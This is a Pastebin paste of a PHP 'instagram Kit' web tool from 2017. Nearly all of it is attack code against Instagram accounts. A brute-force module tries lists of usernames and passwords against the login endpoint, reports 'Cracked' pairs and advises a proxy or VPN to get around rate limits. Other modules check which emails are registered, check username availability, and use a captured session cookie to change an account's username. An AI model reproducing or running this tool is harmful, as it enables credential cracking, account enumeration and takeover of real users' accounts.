Guest User

new-tools

a guest
Aug 2nd, 2017
4,240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.43 KB | None | 0 0
  1. <?php
  2. echo '
  3. <html>
  4. <title>instagram Kit</title><link rel="shortcut icon" href="https://www.instagram.com/static/images/ico/favicon-192.png/b407fa101800.png" type="image/x-icon" />
  5. <body style="background-color:black;">
  6. <style type="text/css">
  7. body {
  8. background:
  9. url("") repeat , url("") no-repeat center top,top left,top right;
  10. background-color: #000000;
  11. }
  12. a{
  13. text-decoration:none;
  14. border:1px solid #12549c;
  15. border-radius:5px;
  16. background-color:black;
  17. color:white;
  18. font-family:Arial;
  19. font-size:17;
  20. box-shadow: 0px 0px 12px #21a0ed;
  21. }
  22. #c{
  23. border-bottom:1px solid #12549c;
  24. }
  25. </style>
  26. <style type="text/css">
  27. html {
  28. background: url(https://cdn-d4d.kxcdn.com/wp-content/uploads/2015/07/hacker_wallpapers-1.jpg) no-repeat center center fixed;
  29. -webkit-background-size: cover;
  30. -moz-background-size: cover;
  31. -o-background-size: cover;
  32. background-size: cover;
  33. }
  34. </style>
  35. <style>
  36. input[type=text] {
  37. padding:5px;
  38. border:2px solid #ccc;
  39. -webkit-border-radius: 5px;
  40. border-radius: 5px;
  41. } input[type=text]:focus {
  42. border-color:#333;
  43. } input[type=submit] {
  44. padding:5px 15px;
  45. background:#ccc;
  46. border:0 none;
  47. cursor:pointer;
  48. -webkit-border-radius: 5px;
  49. border-radius: 5px;
  50. }
  51. </style>
  52. <head>
  53. </body>
  54. </html>
  55. <center><font color="white" face="impact" size="7" align="center">instagramKit</font></center>
  56. ';
  57. echo '<center><img src="https://www.instagram.com/static/images/ico/favicon-192.png/b407fa101800.png"></center>';
  58. echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">';
  59. echo '</font></b></div><br></center>';
  60. ?>
  61. <div id="det" align="center">
  62. </div>
  63. </center>
  64. <div id="c" align="center">
  65. <a href="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>">Home</a></font>
  66. <a href="?instagram=Login">Login Your Account</a></font>
  67. <a href="?instagram=Brute">Brute Force</a></font>
  68. <a href="?instagram=taken">scanner Emails taken</a></font>
  69. <a href="?instagram=turbo">Turbo</a></font>
  70. <a href="?instagram=checker">Checker</a></font>
  71. </div><br>
  72. <?php if(isset($_GET['instagram']) && $_GET['instagram'] == 'Login'){
  73. ////////////////////////////////////////////////////////
  74. # Login
  75. echo '
  76. <style>
  77. textarea {
  78. resize:none;
  79. color: #1975FF ;
  80. border:1px solid #1975FF ;
  81. border-left: 4px solid #1975FF ;
  82. }
  83. input {
  84. color: ##33CCFF;
  85. border:1px dotted #33CCFF;
  86. }
  87. </style>
  88. <p><center><font face="impact" color="White" size="4">Checker Emails
  89. </center><center></font><br>
  90. <title>Login</title>
  91. <form method="post">
  92. <font color="white">Username : <br><input type="text" name="username"><br>Password : <br><input type="text" name="password"><br></font>
  93. <input type="submit" value="Login">
  94. </form><br>
  95. ';
  96. $username = $_POST['username'];
  97. $password = $_POST['password'];
  98. $login = curl_init(); curl_setopt($login, CURLOPT_URL, "https://www.instagram.com/accounts/login/ajax/"); curl_setopt($login, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
  99. curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  100. curl_setopt($login, CURLOPT_HTTPHEADER, array(
  101. 'Host: www.instagram.com',
  102. 'X-CSRFToken: EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I',
  103. 'X-Instagram-AJAX: 1',
  104. 'X-Requested-With: XMLHttpRequest',
  105. 'Referer: https://www.instagram.com/',
  106. 'Cookie: csrftoken=EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I;'
  107. ));
  108. curl_setopt($login, CURLOPT_POSTFIELDS, "username=$username&password=$password");
  109. curl_setopt($login, CURLOPT_HEADER, 1);
  110. curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  111. $response = curl_exec($login);
  112. if(eregi('"authenticated": true,', $response))
  113. {
  114. echo "<center><font color='grenn'>Logged -> $username:$password </font></center>";
  115. }
  116. else
  117. {
  118. if(eregi("checkpoint", $response))
  119. {
  120. echo "<center><font color='white'>Logged But CheckPoint :( -> $username:$password </font></center>";
  121. }
  122. else
  123. {
  124. if(eregi("Please wait a few minutes before you try again.", $response))
  125. {
  126. echo "<center><font color='pink'> Use Proxy </font></center>";
  127. }
  128. else
  129. {
  130. echo "<center><font color='red'> Failed -> $username:$password</font> </center>";
  131. }
  132. }
  133. }
  134. curl_close($login);
  135. ////////////////////////////////////////////////////////
  136. }
  137. if(isset($_GET['instagram']) && $_GET['instagram'] == 'Brute'){
  138. # Brute Force
  139. ////////////////////////////////////////////////////////
  140. echo '
  141. <style>
  142. textarea {
  143. resize:none;
  144. color: #1975FF ;
  145. border:1px solid #1975FF ;
  146. border-left: 4px solid #1975FF ;
  147. }
  148. input {
  149. color: ##33CCFF;
  150. border:1px dotted #33CCFF;
  151. }
  152. </style>
  153. <p><center><font face="impact" color="White" size="4">instagram Brute Force
  154. </center><center></font><br>
  155. <title>instagram Brute Force</title>
  156. <form method="post">
  157. <font color="white">
  158. Usernames :-<br>
  159. <textarea name="users" style="resize:none;" class="area" cols="45" rows="10"></textarea>
  160. <br>
  161. Passwords :-<br>
  162. <textarea name="passs" style="resize:none;" class="area" cols="45" rows="10"></textarea>
  163. <br></font>
  164. <input type="submit" value="Cracking">
  165. </form><br>
  166. ';
  167. $users = explode("\r\n", htmlentities($_POST['users']));
  168. $passs = explode("\r\n", htmlentities($_POST['passs']));
  169. foreach($users as $username)
  170. {
  171. foreach($passs as $password)
  172. {
  173. $passtext = base64_encode($password);
  174. $brute = curl_init(); curl_setopt($brute, CURLOPT_URL, "https://www.instagram.com/accounts/login/ajax/"); curl_setopt($brute, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($brute, CURLOPT_RETURNTRANSFER, 1);
  175. curl_setopt($brute, CURLOPT_FOLLOWLOCATION, 1);
  176. curl_setopt($brute, CURLOPT_HTTPHEADER, array(
  177. 'Host: www.instagram.com',
  178. 'X-CSRFToken: EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I',
  179. 'X-Instagram-AJAX: 1',
  180. 'X-Requested-With: XMLHttpRequest',
  181. 'Referer: https://www.instagram.com/',
  182. 'Cookie: csrftoken=EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I;'
  183. ));
  184. curl_setopt($brute, CURLOPT_POSTFIELDS, "username=$username&password=$password");
  185. curl_setopt($brute, CURLOPT_HEADER, 1);
  186. curl_setopt($brute, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  187. $source = curl_exec($brute);
  188. if(eregi('"authenticated": true,', $source))
  189. {
  190. echo "<center><font color='green'>(Cracked -> $username:$password)<br></font></center>";
  191. }
  192. else
  193. {
  194. if(eregi("checkpoint", $source))
  195. {
  196. echo "<center><font color='white'>(CheckPoint :( -> $username:$password)<br></font></center>";
  197. }
  198. else
  199. {
  200. if(eregi("Please wait a few minutes before you try again.", $source))
  201. {
  202. echo "<center> Use VPN Plz <br></center>";
  203. }
  204. else
  205. {
  206. echo "<center><font color='red'> Failed -> ($username:$password)<br></font></center>";
  207. }
  208. }
  209. }
  210. }}
  211. curl_close($brute);
  212. ////////////////////////////////////////////////////////
  213. }
  214. if(isset($_GET['instagram']) && $_GET['instagram'] == 'taken'){
  215. echo '
  216. <style>
  217. textarea {
  218. resize:none;
  219. color: #1975FF ;
  220. border:1px solid #1975FF ;
  221. border-left: 4px solid #1975FF ;
  222. }
  223. input {
  224. color: ##33CCFF;
  225. border:1px dotted #33CCFF;
  226. }
  227. </style>
  228. <p><center><font face="impact" color="White" size="4">Reset Password
  229. </center><center></font><br>
  230. <title>instagram Reset Password</title>
  231. <form method="post">
  232. <font color="white">Email : <br><textarea name="emails" style="resize:none;"></textarea><br><br></font>
  233. <input type="submit" value="checking">
  234. </form><br>
  235. ';
  236. $emails = explode("\r\n", htmlentities($_POST['emails']));
  237. foreach($emails as $email)
  238. {
  239. $reset = curl_init(); curl_setopt($reset, CURLOPT_URL, "https://www.instagram.com/accounts/fb_linked_account/?check_email=$email"); curl_setopt($reset, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($reset, CURLOPT_RETURNTRANSFER, 1);
  240. curl_setopt($reset, CURLOPT_FOLLOWLOCATION, 1);
  241. curl_setopt($reset, CURLOPT_HEADER, 1);
  242. $reseted = curl_exec($reset);
  243. if(eregi('{"email_taken": true, "status": "ok"}', $reseted))
  244. {
  245. echo "<center><font color='red'>Taken :-> $email <br></font></center>";
  246. }
  247. else
  248. {
  249. echo "<center><font color='green'>Not Taken -> $email </font></center><br>";
  250. }
  251. }
  252. curl_close($reset);
  253. }
  254. #
  255. if(isset($_GET['instagram']) && $_GET['instagram'] == 'turbo'){
  256. ob_start();
  257. echo '
  258. <style>
  259. textarea {
  260. resize:none;
  261. color: #1975FF ;
  262. border:1px solid #1975FF ;
  263. border-left: 4px solid #1975FF ;
  264. }
  265. input {
  266. color: ##33CCFF;
  267. border:1px dotted #33CCFF;
  268. }
  269. </style>
  270. <p><center><font face="impact" color="White" size="4">Turbo instagram
  271. </center><center></font><br>
  272. <title>instagram Turbo</title>
  273. <form method="post">
  274. <font color="white">
  275. Your Username : <input type="text" name="username"><br>
  276. Your Password : <input type="text" name="password"><br>
  277. Your Email : <input type="text" name="email"><br>
  278. </font>
  279. <input type="submit" value="Login">
  280. </form><br>
  281. ';
  282. ////////////////////////////////////////////////////
  283. $username = $_POST['username'];
  284. $password = $_POST['password'];
  285. $email = $_POST['email'];
  286. $turbo = curl_init(); curl_setopt($turbo, CURLOPT_URL, "https://www.instagram.com/accounts/login/ajax/"); curl_setopt($turbo, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($turbo, CURLOPT_RETURNTRANSFER, 1);
  287. curl_setopt($turbo, CURLOPT_FOLLOWLOCATION, 1);
  288. curl_setopt($turbo, CURLOPT_HTTPHEADER, array(
  289. 'Host: www.instagram.com',
  290. 'X-CSRFToken: EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I',
  291. 'X-Instagram-AJAX: 1',
  292. 'X-Requested-With: XMLHttpRequest',
  293. 'Referer: https://www.instagram.com/',
  294. 'Cookie: csrftoken=EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I;'
  295. ));
  296. curl_setopt($turbo, CURLOPT_POSTFIELDS, "username=$username&password=$password");
  297. curl_setopt($turbo, CURLOPT_HEADER, 1);
  298. curl_setopt($turbo, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  299. $linked = curl_exec($turbo);
  300. if(eregi('"authenticated": true,', $linked))
  301. {
  302. echo "<center><font color='green'>(Cracked -> $username:$password)<br>Now change user<br></font></center>";
  303. $starttoken = explode('sessionid=' , $linked );
  304. $endtoken = explode(';' , $starttoken[1] );
  305. $token = $endtoken[0];
  306. ////////////////////////////////////////////////////////////
  307. $html = file_get_contents("https://www.instagram.com/$username");
  308. #####
  309. $startname = explode('"full_name": "' , $html );
  310. $endname = explode(';' , $startname[1] );
  311. $name = $endname[0]; ####################################################
  312. $startbio = explode('"biography": "' , $html );
  313. $endbio = explode('","' , $startbio[1] );
  314. $bio = $endbio[0]; ####################################################
  315. echo '
  316. <style>
  317. textarea {
  318. resize:none;
  319. color: #1975FF ;
  320. border:1px solid #1975FF ;
  321. border-left: 4px solid #1975FF ;
  322. }
  323. input {
  324. color: ##33CCFF;
  325. border:1px dotted #33CCFF;
  326. }
  327. </style>
  328. <p><center><font face="impact" color="White" size="4">input new username
  329. </center><center></font><br>
  330. <form method="post">
  331. <font color="white">
  332. New Username : <input type="text" name="newusername"><br>
  333. </font>
  334. <input type="submit" value="go now">
  335. </form><br>
  336. ';
  337. $newusername = $_POST['newusername'];
  338. $pind = curl_init(); curl_setopt($pind, CURLOPT_URL, "https://www.instagram.com/accounts/login/ajax/"); curl_setopt($pind, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($pind, CURLOPT_RETURNTRANSFER, 1);
  339. curl_setopt($pind, CURLOPT_FOLLOWLOCATION, 1);
  340. curl_setopt($pind, CURLOPT_HTTPHEADER, array(
  341. 'Host: www.instagram.com',
  342. 'X-CSRFToken: or0B3kxAzK6Umh2kr0pc65u5kJktk1hT',
  343. 'X-Instagram-AJAX: 1',
  344. 'Content-Type: application/x-www-form-urlencoded',
  345. 'X-Requested-With: XMLHttpRequest',
  346. "Cookie: csrftoken=or0B3kxAzK6Umh2kr0pc65u5kJktk1hT; sessionid=$token;",
  347. 'Connection: keep-alive'
  348. ));
  349. curl_setopt($pind, CURLOPT_POSTFIELDS, "first_name=$name&email=$email&username=$newusername&phone_number=&gender=1&biography=$bio&external_url=&chaining_enabled=on");
  350. curl_setopt($pind, CURLOPT_HEADER, 1);
  351. curl_setopt($pind, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  352. $pinded = curl_exec($pind);
  353. if(eregi('{"status": "ok"}', $pinded))
  354. {
  355. echo "<center><font color='white'>changed username : https://www.instagram.com/$newusername<br></font></center>";
  356. }
  357. else
  358. {
  359. echo "<center><font color='red'>error error check now your username<br></font></center>";
  360. }
  361. }
  362. else
  363. {
  364. echo "<center><font color='green'>Failed Login Or CheckPoint<br></font></center>";
  365. }
  366. curl_close($turbo);
  367. }
  368. if(isset($_GET['instagram']) && $_GET['instagram'] == 'checker'){
  369. echo '
  370. <style>
  371. textarea {
  372. resize:none;
  373. color: #1975FF ;
  374. border:1px solid #1975FF ;
  375. border-left: 4px solid #1975FF ;
  376. }
  377. input {
  378. color: ##33CCFF;
  379. border:1px dotted #33CCFF;
  380. }
  381. </style>
  382. <p><center><font face="impact" color="White" size="4">Checker Username
  383. </center><center></font><br>
  384. <title>instagram Checker</title>
  385. <form action="" method="post">
  386. <center>=
  387. <font color="red"> Usernames :<textarea cols="10" rows="6" type="text" name="usernames"></textarea></font><br><br>
  388. <input type="submit" value="Checking">
  389. </center>
  390. </form><br>
  391. ';
  392. $usernames = explode("\r\n", htmlentities($_POST['usernames']));
  393. foreach($usernames as $username)
  394. {
  395. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://www.instagram.com/accounts/web_create_ajax/"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  396. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  397. curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  398. 'Host: www.instagram.com',
  399. 'X-CSRFToken: EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I',
  400. 'X-Instagram-AJAX: 1',
  401. 'X-Requested-With: XMLHttpRequest',
  402. 'Referer: https://www.instagram.com/',
  403. 'Cookie: csrftoken=EJMrAsTOEi1SKiZLHzNf2RMBEZTQkI9I;'
  404. ));
  405. curl_setopt($ch, CURLOPT_POSTFIELDS, "email=a@hotmail.com&password=1234&username=$username&first_name=aaa");
  406. curl_setopt($ch, CURLOPT_HEADER, 1);
  407. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  408. $check = curl_exec($ch);
  409. if(eregi("Sorry, that username is taken.", $check))
  410. {
  411. echo "<center><font color='red'> Taken -> $username <br></font></center>";
  412. }
  413. else
  414. {
  415. if(eregi("Your username cannot contain only numbers.", $check))
  416. {
  417. echo "<center><font color='blue'> Your username cannot contain only numbers :( -> $username <br></font></center>";
  418. }
  419. else
  420. {
  421. if(eregi("A user with that username already exists.", $check))
  422. {
  423. echo "<center><font color='pink' Blocked -> $username <br></font></center>";
  424. }
  425. else
  426. {
  427. echo "<center><font color='green' Available -> $username <br></font></center>";
  428. }
  429. }
  430. }
  431. }
  432. curl_close($ch);
  433. }
  434. ob_end_flush(); echo '<center><font color="red" face="arial" size="2" align="">Instagram Kit : Coded By 1337r00t</font></center>'; ?>
Add Comment
Please, Sign In to add comment